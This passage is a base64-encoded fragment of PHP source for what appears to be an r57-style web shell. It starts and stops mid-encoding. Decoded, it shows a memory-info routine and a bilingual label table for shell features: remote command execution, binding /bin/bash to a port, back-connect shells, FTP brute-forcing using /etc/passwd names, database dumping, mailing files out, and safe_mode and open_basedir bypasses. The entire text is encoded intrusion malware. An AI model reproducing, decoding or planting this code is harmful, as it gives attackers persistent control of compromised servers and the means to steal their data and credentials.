5mbyIpOwogICBpZigkbWVtZikKICAgIHsKICAgICAgJGMgPSBzaXplb2YoJG1lbWYpOwogICAgICBmb3IoJGk9MDskaTwkYzskaSsrKQogICAgICAgIHsKICAgICAgICAgICRpbmZvID0gZXhwbG9kZSgiOiIsJG1lbWZbJGldKTsKICAgICAgICAgIGlmKCRpbmZvWzFdPT0iIil7ICRpbmZvWzFdPSItLS0iOyB9CiAgICAgICAgICAkciAuPSAnPHRyPjx0ZD4nLndzKDMpLic8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPicudHJpbSgkaW5mb1swXSkuJzwvYj48L2ZvbnQ+PC90ZD48dGQ+PGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nLnRyaW0oJGluZm9bMV0pLic8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj4nOwogICAgICAgIH0KICAgICAgZWNobyAkcjsKICAgIH0KICAgZWxzZQogICAgewogICAgICBlY2hvICc8dHI+PHRkPicud3MoMykuJzxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9dGFob21hIHNpemU9LTI+PGI+IC0tLSA8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj4nOwogICAgfQogICBlY2hvICc8L3RhYmxlPic7CiAgIGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsKICAgZGllKCk7CiB9CiRsYW5nPWFycmF5KAonZW5nX3RleHQxJyA9PidFeGVjdXRlZCBjb21tYW5kJywKJ2VuZ190ZXh0MicgPT4nRXhlY3V0ZSBjb21tYW5kIG9uIHNlcnZlcicsCidlbmdfdGV4dDMnID0+J1J1biBjb21tYW5kJywKJ2VuZ190ZXh0NCcgPT4nV29yayBkaXJlY3RvcnknLAonZW5nX3RleHQ1JyA9PidVcGxvYWQgZmlsZXMgb24gc2VydmVyJywKJ2VuZ190ZXh0NicgPT4nTG9jYWwgZmlsZScsCidlbmdfdGV4dDcnID0+J0FsaWFzZXMnLAonZW5nX3RleHQ4JyA9PidTZWxlY3QgYWxpYXMnLAonZW5nX2J1dHQxJyA9PidFeGVjdXRlJywKJ2VuZ19idXR0MicgPT4nVXBsb2FkJywKJ2VuZ190ZXh0OScgPT4nQmluZCBwb3J0IHRvIC9iaW4vYmFzaCcsCidlbmdfdGV4dDEwJz0+J1BvcnQnLAonZW5nX3RleHQxMSc9PidQYXNzd29yZCBmb3IgYWNjZXNzJywKJ2VuZ19idXR0MycgPT4nQmluZCcsCidlbmdfdGV4dDEyJz0+J2JhY2stY29ubmVjdCcsCidlbmdfdGV4dDEzJz0+J0lQJywKJ2VuZ190ZXh0MTQnPT4nUG9ydCcsCidlbmdfYnV0dDQnID0+J0Nvbm5lY3QnLAonZW5nX3RleHQxNSc9PidVcGxvYWQgZmlsZXMgZnJvbSByZW1vdGUgc2VydmVyJywKJ2VuZ190ZXh0MTYnPT4nV2l0aCcsCidlbmdfdGV4dDE3Jz0+J1JlbW90ZSBmaWxlJywKJ2VuZ190ZXh0MTgnPT4nTG9jYWwgZmlsZScsCidlbmdfdGV4dDE5Jz0+J0V4cGxvaXRzJywKJ2VuZ190ZXh0MjAnPT4nVXNlJywKJ2VuZ190ZXh0MjEnPT4nJm5ic3A7TmV3IG5hbWUnLAonZW5nX3RleHQyMic9PidkYXRhcGlwZScsCidlbmdfdGV4dDIzJz0+J0xvY2FsIHBvcnQnLAonZW5nX3RleHQyNCc9PidSZW1vdGUgaG9zdCcsCidlbmdfdGV4dDI1Jz0+J1JlbW90ZSBwb3J0JywKJ2VuZ190ZXh0MjYnPT4nVXNlJywKJ2VuZ19idXR0NScgPT4nUnVuJywKJ2VuZ190ZXh0MjgnPT4nV29yayBpbiBzYWZlX21vZGUnLAonZW5nX3RleHQyOSc9PidBQ0NFU1MgREVOSUVEJywKJ2VuZ19idXR0NicgPT4nQ2hhbmdlJywKJ2VuZ190ZXh0MzAnPT4nQ2F0IGZpbGUnLAonZW5nX2J1dHQ3JyA9PidTaG93JywKJ2VuZ190ZXh0MzEnPT4nRmlsZSBub3QgZm91bmQnLAonZW5nX3RleHQzMic9PidFdmFsIFBIUCBjb2RlJywKJ2VuZ190ZXh0MzMnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyIHdpdGggY1VSTCBmdW5jdGlvbnMnLAonZW5nX2J1dHQ4JyA9PidUZXN0JywKJ2VuZ190ZXh0MzQnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggaW5jbHVkZSBmdW5jdGlvbicsCidlbmdfdGV4dDM1Jz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB3aXRoIGxvYWQgZmlsZSBpbiBteXNxbCcsCidlbmdfdGV4dDM2Jz0+J0RhdGFiYXNlIC4gVGFibGUnLAonZW5nX3RleHQzNyc9PidMb2dpbicsCidlbmdfdGV4dDM4Jz0+J1Bhc3N3b3JkJywKJ2VuZ190ZXh0MzknPT4nRGF0YWJhc2UnLAonZW5nX3RleHQ0MCc9PidEdW1wIGRhdGFiYXNlIHRhYmxlJywKJ2VuZ19idXR0OScgPT4nRHVtcCcsCidlbmdfdGV4dDQxJz0+J1NhdmUgZHVtcCBpbiBmaWxlJywKJ2VuZ190ZXh0NDInPT4nRWRpdCBmaWxlcycsCidlbmdfdGV4dDQzJz0+J0ZpbGUgZm9yIGVkaXQnLAonZW5nX2J1dHQxMCc9PidTYXZlJywKJ2VuZ190ZXh0NDQnPT4nQ2FuXCd0IGVkaXQgZmlsZSEgT25seSByZWFkIGFjY2VzcyEnLAonZW5nX3RleHQ0NSc9PidGaWxlIHNhdmVkJywKJ2VuZ190ZXh0NDYnPT4nU2hvdyBwaHBpbmZvKCknLAonZW5nX3RleHQ0Nyc9PidTaG93IHZhcmlhYmxlcyBmcm9tIHBocC5pbmknLAonZW5nX3RleHQ0OCc9PidEZWxldGUgdGVtcCBmaWxlcycsCidlbmdfYnV0dDExJz0+J0VkaXQgZmlsZScsCidlbmdfdGV4dDQ5Jz0+J0RlbGV0ZSBzY3JpcHQgZnJvbSBzZXJ2ZXInLAonZW5nX3RleHQ1MCc9PidWaWV3IGNwdSBpbmZvJywKJ2VuZ190ZXh0NTEnPT4nVmlldyBtZW1vcnkgaW5mbycsCidlbmdfdGV4dDUyJz0+J0ZpbmQgdGV4dCcsCidlbmdfdGV4dDUzJz0+J0luIGRpcnMnLAonZW5nX3RleHQ1NCc9PidGaW5kIHRleHQgaW4gZmlsZXMnLAonZW5nX2J1dHQxMic9PidGaW5kJywKJ2VuZ190ZXh0NTUnPT4nT25seSBpbiBmaWxlcycsCidlbmdfdGV4dDU2Jz0+J05vdGhpbmcgOignLAonZW5nX3RleHQ1Nyc9PidDcmVhdGUvRGVsZXRlIEZpbGUvRGlyJywKJ2VuZ190ZXh0NTgnPT4nbmFtZScsCidlbmdfdGV4dDU5Jz0+J2ZpbGUnLAonZW5nX3RleHQ2MCc9PidkaXInLAonZW5nX2J1dHQxMyc9PidDcmVhdGUvRGVsZXRlJywKJ2VuZ190ZXh0NjEnPT4nRmlsZSBjcmVhdGVkJywKJ2VuZ190ZXh0NjInPT4nRGlyIGNyZWF0ZWQnLAonZW5nX3RleHQ2Myc9PidGaWxlIGRlbGV0ZWQnLAonZW5nX3RleHQ2NCc9PidEaXIgZGVsZXRlZCcsCidlbmdfYnV0dDY1Jz0+J0NyZWF0ZScsCidlbmdfdGV4dDY1Jz0+J0NyZWF0ZScsCidlbmdfdGV4dDY2Jz0+J0RlbGV0ZScsCidlbmdfdGV4dDY3Jz0+J0Nob3duL0NoZ3JwL0NobW9kJywKJ2VuZ190ZXh0NjgnPT4nQ29tbWFuZCcsCidlbmdfdGV4dDY5Jz0+J3BhcmFtMScsCidlbmdfdGV4dDcwJz0+J3BhcmFtMicsCidlbmdfdGV4dDcxJz0+IlNlY29uZCBjb21tYW5kcyBwYXJhbSBpczpcclxuLSBmb3IgQ0hPV04gLSBuYW1lIG9mIG5ldyBvd25lciBvciBVSURcclxuLSBmb3IgQ0hHUlAgLSBncm91cCBuYW1lIG9yIEdJRFxyXG4tIGZvciBDSE1PRCAtIDA3NzcsIDA3NTUuLi4iLAonZW5nX3RleHQ3Mic9PidUZXh0IGZvciBmaW5kJywKJ2VuZ190ZXh0NzMnPT4nRmluZCBpbiBmb2xkZXInLAonZW5nX3RleHQ3NCc9PidGaW5kIGluIGZpbGVzJywKJ2VuZ190ZXh0NzUnPT4nKiB5b3UgY2FuIHVzZSByZWdleHAnLAonZW5nX3RleHQ3Nic9PidTZWFyY2ggdGV4dCBpbiBmaWxlcyB2aWEgZmluZCcsCidlbmdfdGV4dDgwJz0+J1R5cGUnLAonZW5nX3RleHQ4MSc9PidOZXQnLAonZW5nX3RleHQ4Mic9PidEYXRhYmFzZXMnLAonZW5nX3RleHQ4Myc9PidSdW4gU1FMIHF1ZXJ5JywKJ2VuZ190ZXh0ODQnPT4nU1FMIHF1ZXJ5JywKJ2VuZ190ZXh0ODUnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggY29tbWFuZHMgZXhlY3V0ZSB2aWEgTVNTUUwgc2VydmVyJywKJ2VuZ190ZXh0ODYnPT4nRG93bmxvYWQgZmlsZXMgZnJvbSBzZXJ2ZXInLAonZW5nX2J1dHQxNCc9PidEb3dubG9hZCcsCidlbmdfdGV4dDg3Jz0+J0Rvd25sb2FkIGZpbGVzIGZyb20gcmVtb3RlIGZ0cC1zZXJ2ZXInLAonZW5nX3RleHQ4OCc9PidGVFAtc2VydmVyOnBvcnQnLAonZW5nX3RleHQ4OSc9PidGaWxlIG9uIGZ0cCcsCidlbmdfdGV4dDkwJz0+J1RyYW5zZmVyIG1vZGUnLAonZW5nX3RleHQ5MSc9PidBcmNoaXZhdGlvbicsCidlbmdfdGV4dDkyJz0+J3dpdGhvdXQgYXJjaGl2YXRpb24nLAonZW5nX3RleHQ5Myc9PidGVFAnLAonZW5nX3RleHQ5NCc9PidGVFAtYnJ1dGVmb3JjZScsCidlbmdfdGV4dDk1Jz0+J1VzZXJzIGxpc3QnLAonZW5nX3RleHQ5Nic9PidDYW5cJ3QgZ2V0IHVzZXJzIGxpc3QnLAonZW5nX3RleHQ5Nyc9PidjaGVja2VkOiAnLAonZW5nX3RleHQ5OCc9PidzdWNjZXNzOiAnLAonZW5nX3RleHQ5OSc9PicqIHVzZSB1c2VybmFtZSBmcm9tIC9ldGMvcGFzc3dkIGZvciBmdHAgbG9naW4gYW5kIHBhc3N3b3JkJywKJ2VuZ190ZXh0MTAwJz0+J1NlbmQgZmlsZSB0byByZW1vdGUgZnRwIHNlcnZlcicsCidlbmdfdGV4dDEwMSc9PidVc2UgcmV2ZXJzZSAodXNlciAtPiByZXN1KSBsb2dpbiBmb3IgcGFzc3dvcmQnLAonZW5nX3RleHQxMDInPT4nTWFpbCcsCidlbmdfdGV4dDEwMyc9PidTZW5kIGVtYWlsJywKJ2VuZ190ZXh0MTA0Jz0+J1NlbmQgZmlsZSB0byBlbWFpbCcsCidlbmdfdGV4dDEwNSc9PidUbycsCidlbmdfdGV4dDEwNic9PidGcm9tJywKJ2VuZ190ZXh0MTA3Jz0+J1N1YmonLAonZW5nX2J1dHQxNSc9PidTZW5kJywKJ2VuZ190ZXh0MTA4Jz0+J01haWwnLAonZW5nX3RleHQxMDknPT4nSGlkZScsCidlbmdfdGV4dDExMCc9PidTaG93JywKJ2VuZ190ZXh0MTExJz0+J1NRTC1TZXJ2ZXIgOiBQb3J0JywKJ2VuZ190ZXh0MTEyJz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB3aXRoIGZ1bmN0aW9uIG1iX3NlbmRfbWFpbCcsCidlbmdfdGV4dDExMyc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIHZpZXcgZGlyIGxpc3QgdmlhIGltYXBfbGlzdCcsCidlbmdfdGV4dDExNCc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIHZpZXcgZmlsZSBjb250ZXN0IHZpYSBpbWFwX2JvZHknLAonZW5nX3RleHQxMTUnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlLCBjb3B5IGZpbGUgdmlhIGNvbXByZXNzLnpsaWI6Ly8gaW4gZnVuY3Rpb24gY29weSgpJywKJ2VuZ190ZXh0MTE2Jz0+J0NvcHkgZnJvbScsCidlbmdfdGV4dDExNyc9Pid0bycsCidlbmdfdGV4dDExOCc9PidGaWxlIGNvcGllZCcsCidlbmdfdGV4dDExOSc9PidDYW50IGNvcHkgZmlsZScsCidlbmdfZXJyMCc9PidFcnJvciEgQ2FuXCd0IHdyaXRlIGluIGZpbGUgJywKJ2VuZ19lcnIxJz0+J0Vycm9yISBDYW5cJ3QgcmVhZCBmaWxlICcsCidlbmdfZXJyMic9PidFcnJvciEgQ2FuXCd0IGNyZWF0ZSAnLAonZW5nX2VycjMnPT4nRXJyb3IhIENhblwndCBjb25uZWN0IHRvIGZ0cCcsCidlbmdfZXJyNCc9PidFcnJvciEgQ2FuXCd0IGxvZ2luIG9uIGZ0cCBzZXJ2ZXInLAonZW5nX2VycjUnPT4nRXJyb3IhIENhblwndCBjaGFuZ2UgZGlyIG9uIGZ0cCcsCidlbmdfZXJyNic9PidFcnJvciEgQ2FuXCd0IHNlbnQgbWFpbCcsCidlbmdfZXJyNyc9PidNYWlsIHNlbmQnLAonZW5nX3RleHQyMDAnPT4ncmVhZCBmaWxlIGZyb20gdnVsIGNvcHkoKScsCidlbmdfdGV4dDIwMic9Pid3aGVyZSBmaWxlIGluIHNlcnZlcicsCidlbmdfdGV4dDMwMCc9PidyZWFkIGZpbGUgZnJvbSB2dWwgY3VybCgpJywKJ2VuZ190ZXh0MjAzJz0+J3JlYWQgZmlsZSBmcm9tIHZ1bCBpbmlfcmVzdG9yZSgpJywKJ2VuZ190ZXh0MjA0Jz0+J3dyaXRlIHNoZWxsIGZyb20gdnVsIGVycm9yX2xvZygpJywKJ2VuZ190ZXh0MjA1Jz0+J3dyaXRlIHNoZWxsIGluIHRoaXMgc2lkZScsCidlbmdfdGV4dDIwNic9PidyZWFkIGRpcicsCidlbmdfdGV4dDIwNyc9PidyZWFkIGRpciBmcm9tIHZ1bCByZWdfZ2xvYicsCidlbmdfdGV4dDIwOCc9PidleGVjdXRlIHdpdGggZnVuY3Rpb24nLAonZW5nX3RleHQyMDknPT4ncmVhZCBkaXIgZnJvbSB2dWwgcm9vdCcsCidlbmdfdGV4dDIxMCc9PidEZVplbmRlciAnLAonZW5nX3RleHQyMTEnPT4nOjpzYWZlX21vZGUgb2ZmOjonLAonZW5nX3RleHQyMTInPT4nY29sc2Ugc2FmZV9tb2RlIHdpdGggcGhwLmluaScsCidlbmdfdGV4dDIxMyc9Pidjb2xzZSBzZWN1cml0eV9tb2Qgd2l0aCAuaHRhY2Nlc3MnLAonZW5nX3RleHQyMTQnPT4nQWRtaW4gbmFtZScsCidlbmdfdGV4dDIxNSc9PidJUkMgc2VydmVyICcsCidlbmdfdGV4dDIxNic9Picjcm9vbSBuYW1lJywKJ2VuZ190ZXh0MjE3Jz0+J3NlcnZlcicsCidlbmdfdGV4dDIxOCc9Pid3cml0ZSBpbmkucGhwIGZpbGUgdG8gY2xvc2Ugc2FmZV9tb2RlIHdpdGggaW5pX3Jlc3RvcmUgdnVsJywKJ2VuZ190ZXh0MjE5Jz0+J0dldCBmaWxlIHRvIHNlcnZlciBpbiBzYWZlX21vZGUgYW5kIGNoYW5nZSBuYW1lJywKJ2VuZ190ZXh0MjIwJz0+J3Nob3cgZmlsZSB3aXRoIHN5bWxpbmsgdnVsJywKJ2VuZ190ZXh0MjIxJz0+J3ppcCBmaWxlIGluIHNlcnZlciB0byBkb3dubG9hZCcsCidhcl90ZXh0MjIyJz0+JzIgc3ltbGluayB1c2UgdnVsJywKJ2FyX3RleHQyMjMnPT4ncmVhZCBmaWxlIGZyb20gZnVuY3V0aW9uJywKJ2FyX3RleHQyMjQnPT4ncmVhZCBmaWxlIGZyb20gUExVR0lOICcsCgovKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gKi8KJ2FyX3RleHQxJyA9PidFeGVjdXRlZCBjb21tYW5kJywKJ2FyX3RleHQyJyA9PidFeGVjdXRlIGNvbW1hbmQgb24gc2VydmVyJywKJ2FyX3RleHQzJyA9PidSdW4gY29tbWFuZCcsCidhcl90ZXh0NCcgPT4nV29yayBkaXJlY3RvcnknLAonYXJfdGV4dDUnID0+J1VwbG9hZCBmaWxlcyBvbiBzZXJ2ZXInLAonYXJfdGV4dDYnID0+J0xvY2FsIGZpbGUnLAonYXJfdGV4dDcnID0+J0FsaWFzZXMnLAonYXJfdGV4dDgnID0+J1NlbGVjdCBhbGlhcycsCidhcl9idXR0MScgPT4nRXhlY3V0ZScsCidhcl9idXR0MicgPT4nVXBsb2FkJywKJ2FyX3RleHQ5JyA9PidCaW5kIHBvcnQgdG8gL2Jpbi9iYXNoJywKJ2FyX3RleHQxMCc9PidQb3J0JywKJ2FyX3RleHQxMSc9PidQYXNzd29yZCBmb3IgYWNjZXNzJywKJ2FyX2J1dHQzJyA9PidCaW5kJywKJ2FyX3RleHQxMic9PidiYWNrLWNvbm5lY3QnLAonYXJfdGV4dDEzJz0+J0lQJywKJ2FyX3RleHQxNCc9PidQb3J0JywKJ2FyX2J1dHQ0JyA9PidDb25uZWN0JywKJ2FyX3RleHQxNSc9PidVcGxvYWQgZmlsZXMgZnJvbSByZW1vdGUgc2VydmVyJywKJ2FyX3RleHQxNic9PidXaXRoJywKJ2FyX3RleHQxNyc9PidSZW1vdGUgZmlsZScsCidhcl90ZXh0MTgnPT4nTG9jYWwgZmlsZScsCidhcl90ZXh0MTknPT4nRXhwbG9pdHMnLAonYXJfdGV4dDIwJz0+J1VzZScsCidhcl90ZXh0MjEnPT4nJm5ic3A7TmV3IG5hbWUnLAonYXJfdGV4dDIyJz0+J2RhdGFwaXBlJywKJ2FyX3RleHQyMyc9PidMb2NhbCBwb3J0JywKJ2FyX3RleHQyNCc9PidSZW1vdGUgaG9zdCcsCidhcl90ZXh0MjUnPT4nUmVtb3RlIHBvcnQnLAonYXJfdGV4dDI2Jz0+J1VzZScsCidhcl9idXR0NScgPT4nUnVuJywKJ2FyX3RleHQyOCc9PidXb3JrIGluIHNhZmVfbW9kZScsCidhcl90ZXh0MjknPT4nQUNDRVNTIERFTklFRCcsCidhcl9idXR0NicgPT4nQ2hhbmdlJywKJ2FyX3RleHQzMCc9PidDYXQgZmlsZScsCidhcl9idXR0NycgPT4nU2hvdycsCidhcl90ZXh0MzEnPT4nRmlsZSBub3QgZm91bmQnLAonYXJfdGV4dDMyJz0+J0V2YWwgUEhQIGNvZGUnLAonYXJfdGV4dDMzJz0+J1Rlc3QgYnlwYXNzIG9wZW5fYmFzZWRpciB3aXRoIGNVUkwgZnVuY3Rpb25zJywKJ2FyX2J1dHQ4JyA9PidUZXN0JywKJ2FyX3RleHQzNCc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgd2l0aCBpbmNsdWRlIGZ1bmN0aW9uJywKJ2FyX3RleHQzNSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgd2l0aCBsb2FkIGZpbGUgaW4gbXlzcWwnLAonYXJfdGV4dDM2Jz0+J0RhdGFiYXNlIC4gVGFibGUnLAonYXJfdGV4dDM3Jz0+J0xvZ2luJywKJ2FyX3RleHQzOCc9PidQYXNzd29yZCcsCidhcl90ZXh0MzknPT4nRGF0YWJhc2UnLAonYXJfdGV4dDQwJz0+J0R1bXAgZGF0YWJhc2UgdGFibGUnLAonYXJfYnV0dDknID0+J0R1bXAnLAonYXJfdGV4dDQxJz0+J1NhdmUgZHVtcCBpbiBmaWxlJywKJ2FyX3RleHQ0Mic9PidFZGl0IGZpbGVzJywKJ2FyX3RleHQ0Myc9PidGaWxlIGZvciBlZGl0JywKJ2FyX2J1dHQxMCc9PidTYXZlJywKJ2FyX3RleHQ0NCc9PidDYW5cJ3QgZWRpdCBmaWxlISBPbmx5IHJlYWQgYWNjZXNzIScsCidhcl90ZXh0NDUnPT4nRmlsZSBzYXZlZCcsCidhcl90ZXh0NDYnPT4nU2hvdyBwaHBpbmZvKCknLAonYXJfdGV4dDQ3Jz0+J1Nob3cgdmFyaWFibGVzIGZyb20gcGhwLmluaScsCidhcl90ZXh0NDgnPT4nRGVsZXRlIHRlbXAgZmlsZXMnLAonYXJfYnV0dDExJz0+J0VkaXQgZmlsZScsCidhcl90ZXh0NDknPT4nRGVsZXRlIHNjcmlwdCBmcm9tIHNlcnZlcicsCidhcl90ZXh0NTAnPT4nVmlldyBjcHUgaW5mbycsCidhcl90ZXh0NTEnPT4nVmlldyBtZW1vcnkgaW5mbycsCidhcl90ZXh0NTInPT4nRmluZCB0ZXh0JywKJ2FyX3RleHQ1Myc9PidJbiBkaXJzJywKJ2FyX3RleHQ1NCc9PidGaW5kIHRleHQgaW4gZmlsZXMnLAonYXJfYnV0dDEyJz0+J0ZpbmQnLAonYXJfdGV4dDU1Jz0+J09ubHkgaW4gZmlsZXMnLAonYXJfdGV4dDU2Jz0+J05vdGhpbmcgOignLAonYXJfdGV4dDU3Jz0+J0NyZWF0ZS9EZWxldGUgRmlsZS9EaXInLAonYXJfdGV4dDU4Jz0+J25hbWUnLAonYXJfdGV4dDU5Jz0+J2ZpbGUnLAonYXJfdGV4dDYwJz0+J2RpcicsCidhcl9idXR0MTMnPT4nQ3JlYXRlL0RlbGV0ZScsCidhcl90ZXh0NjEnPT4nRmlsZSBjcmVhdGVkJywKJ2FyX3RleHQ2Mic9PidEaXIgY3JlYXRlZCcsCidhcl90ZXh0NjMnPT4nRmlsZSBkZWxldGVkJywKJ2FyX3RleHQ2NCc9PidEaXIgZGVsZXRlZCcsCidhcl9idXR0NjUnPT4nQ3JlYXRlJywKJ2FyX3RleHQ2NSc9PidDcmVhdGUnLAonYXJfdGV4dDY2Jz0+J0RlbGV0ZScsCidhcl90ZXh0NjcnPT4nQ2hvd24vQ2hncnAvQ2htb2QnLAonYXJfdGV4dDY4Jz0+J0NvbW1hbmQnLAonYXJfdGV4dDY5Jz0+J3BhcmFtMScsCidhcl90ZXh0NzAnPT4ncGFyYW0yJywKJ2FyX3RleHQ3MSc9PiJTZWNvbmQgY29tbWFuZHMgcGFyYW0gaXM6XHJcbi0gZm9yIENIT1dOIC0gbmFtZSBvZiBuZXcgb3duZXIgb3IgVUlEXHJcbi0gZm9yIENIR1JQIC0gZ3JvdXAgbmFtZSBvciBHSURcclxuLSBmb3IgQ0hNT0QgLSAwNzc3LCAwNzU1Li4uIiwKJ2FyX3RleHQ3Mic9PidUZXh0IGZvciBmaW5kJywKJ2FyX3RleHQ3Myc9PidGaW5kIGluIGZvbGRlcicsCidhcl90ZXh0NzQnPT4nRmluZCBpbiBmaWxlcycsCidhcl90ZXh0NzUnPT4nKiB5b3UgY2FuIHVzZSByZWdleHAnLAonYXJfdGV4dDc2Jz0+J1NlYXJjaCB0ZXh0IGluIGZpbGVzIHZpYSBmaW5kJywKJ2FyX3RleHQ4MCc9PidUeXBlJywKJ2FyX3RleHQ4MSc9PidOZXQnLAonYXJfdGV4dDgyJz0+J0RhdGFiYXNlcycsCidhcl90ZXh0ODMnPT4nUnVuIFNRTCBxdWVyeScsCidhcl90ZXh0ODQnPT4nU1FMIHF1ZXJ5JywKJ2FyX3RleHQ4NSc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgd2l0aCBjb21tYW5kcyBleGVjdXRlIHZpYSBNU1NRTCBzZXJ2ZXInLAonYXJfdGV4dDg2Jz0+J0Rvd25sb2FkIGZpbGVzIGZyb20gc2VydmVyJywKJ2FyX2J1dHQxNCc9PidEb3dubG9hZCcsCidhcl90ZXh0ODcnPT4nRG93bmxvYWQgZmlsZXMgZnJvbSByZW1vdGUgZnRwLXNlcnZlcicsCidhcl90ZXh0ODgnPT4nRlRQLXNlcnZlcjpwb3J0JywKJ2FyX3RleHQ4OSc9PidGaWxlIG9uIGZ0cCcsCidhcl90ZXh0OTAnPT4nVHJhbnNmZXIgbW9kZScsCidhcl90ZXh0OTEnPT4nQXJjaGl2YXRpb24nLAonYXJfdGV4dDkyJz0+J3dpdGhvdXQgYXJjaGl2YXRpb24nLAonYXJfdGV4dDkzJz0+J0ZUUCcsCidhcl90ZXh0OTQnPT4nRlRQLWJydXRlZm9yY2UnLAonYXJfdGV4dDk1Jz0+J1VzZXJzIGxpc3QnLAonYXJfdGV4dDk2Jz0+J0NhblwndCBnZXQgdXNlcnMgbGlzdCcsCidhcl90ZXh0OTcnPT4nY2hlY2tlZDogJywKJ2FyX3RleHQ5OCc9PidzdWNjZXNzOiAnLAonYXJfdGV4dDk5Jz0+JyogdXNlIHVzZXJuYW1lIGZyb20gL2V0Yy9wYXNzd2QgZm9yIGZ0cCBsb2dpbiBhbmQgcGFzc3dvcmQnLAonYXJfdGV4dDEwMCc9PidTZW5kIGZpbGUgdG8gcmVtb3RlIGZ0cCBzZXJ2ZXInLAonYXJfdGV4dDEwMSc9PidVc2UgcmV2ZXJzZSAodXNlciAtPiByZXN1KSBsb2dpbiBmb3IgcGFzc3dvcmQnLAonYXJfdGV4dDEwMic9PidNYWlsJywKJ2FyX3RleHQxMDMnPT4nU2VuZCBlbWFpbCcsCidhcl90ZXh0MTA0Jz0+J1NlbmQgZmlsZSB0byBlbWFpbCcsCidhcl90ZXh0MTA1Jz0+J1RvJywKJ2FyX3RleHQxMDYnPT4nRnJvbScsCidhcl90ZXh0MTA3Jz0+J1N1YmonLAonYXJfYnV0dDE1Jz0+J1NlbmQnLAonYXJfdGV4dDEwOCc9PidNYWlsJywKJ2FyX3RleHQxMDknPT4nSGlkZScsCidhcl90ZXh0MTEwJz0+J1Nob3cnLAonYXJfdGV4dDExMSc9PidTUUwtU2VydmVyIDogUG9ydCcsCidhcl90ZXh0MTEyJz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSB3aXRoIGZ1bmN0aW9uIG1iX3NlbmRfbWFpbCcsCidhcl90ZXh0MTEzJz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSwgdmlldyBkaXIgbGlzdCB2aWEgaW1hcF9saXN0JywKJ2FyX3RleHQxMTQnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlLCB2aWV3IGZpbGUgY29udGVzdCB2aWEgaW1hcF9ib2R5JywKJ2FyX3RleHQxMTUnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlLCBjb3B5IGZpbGUgdmlhIGNvbXByZXNzLnpsaWI6Ly8gaW4gZnVuY3Rpb24gY29weSgpJywKJ2FyX3RleHQxMTYnPT4nQ29weSBmcm9tJywKJ2FyX3RleHQxMTcnPT4ndG8nLAonYXJfdGV4dDExOCc9PidGaWxlIGNvcGllZCcsCidhcl90ZXh0MTE5Jz0+J0NhbnQgY29weSBmaWxlJywKJ2FyX2VycjAnPT4nRXJyb3IhIENhblwndCB3cml0ZSBpbiBmaWxlICcsCidhcl9lcnIxJz0+J0Vycm9yISBDYW5cJ3QgcmVhZCBmaWxlICcsCidhcl9lcnIyJz0+J0Vycm9yISBDYW5cJ3QgY3JlYXRlICcsCidhcl9lcnIzJz0+J0Vycm9yISBDYW5cJ3QgY29ubmVjdCB0byBmdHAnLAonYXJfZXJyNCc9PidFcnJvciEgQ2FuXCd0IGxvZ2luIG9uIGZ0cCBzZXJ2ZXInLAonYXJfZXJyNSc9PidFcnJvciEgQ2FuXCd0IGNoYW5nZSBkaXIgb24gZnRwJywKJ2FyX2VycjYnPT4nRXJyb3IhIENhblwndCBzZW50IG1haWwnLAonYXJfZXJyNyc9PidNYWlsIHNlbmQnLAonYXJfdGV4dDIwMCc9PidyZWFkIGZpbGUgZnJvbSB2dWwgY29weSgpJywKJ2FyX3RleHQyMDInPT4nd2hlcmUgZmlsZSBpbiBzZXJ2ZXInLAonYXJfdGV4dDMwMCc9PidyZWFkIGZpbGUgZnJvbSB2dWwgY3VybCgpJywKJ2FyX3RleHQyMDMnPT4ncmVhZCBmaWxlIGZyb20gdnVsIGluaV9yZXN0b3JlKCknLAonYXJfdGV4dDIwNCc9Pid3cml0ZSBzaGVsbCBmcm9tIHZ1bCBlcnJvcl9sb2coKScsCidhcl90ZXh0MjA1Jz0+J3dyaXRlIHNoZWxsIGluIHRoaXMgc2lkZScsCidhcl90ZXh0MjA2Jz0+J3JlYWQgZGlyJywKJ2FyX3RleHQyMDcnPT4ncmVhZCBkaXIgZnJvbSB2dWwgcmVnX2dsb2InLAonYXJfdGV4dDIwOCc9PidleGVjdXRlIHdpdGggZnVuY3Rpb24nLAonYXJfdGV4dDIwOSc9PidyZWFkIGRpciBmcm9tIHZ1bCByb290JywKJ2FyX3RleHQyMTAnPT4nRGVaZW5kZXIgJywKJ2FyX3RleHQyMTEnPT4nOjpzYWZlX21vZGUgb2ZmOjonLAonYXJfdGV4dDIxMic9Pidjb2xzZSBzYWZlX21vZGUgd2l0aCBwaHAuaW5pJywKJ2FyX3RleHQyMTMnPT4nY29sc2Ugc2VjdXJpdHlfbW9kIHdpdGggLmh0YWNjZXNzJywKJ2FyX3RleHQyMTQnPT4nQWRtaW4gbmFtZScsCidhcl90ZXh0MjE1Jz0+J0lSQyBzZXJ2ZXIgJywKJ2FyX3RleHQyMTYnPT4nI3Jvb2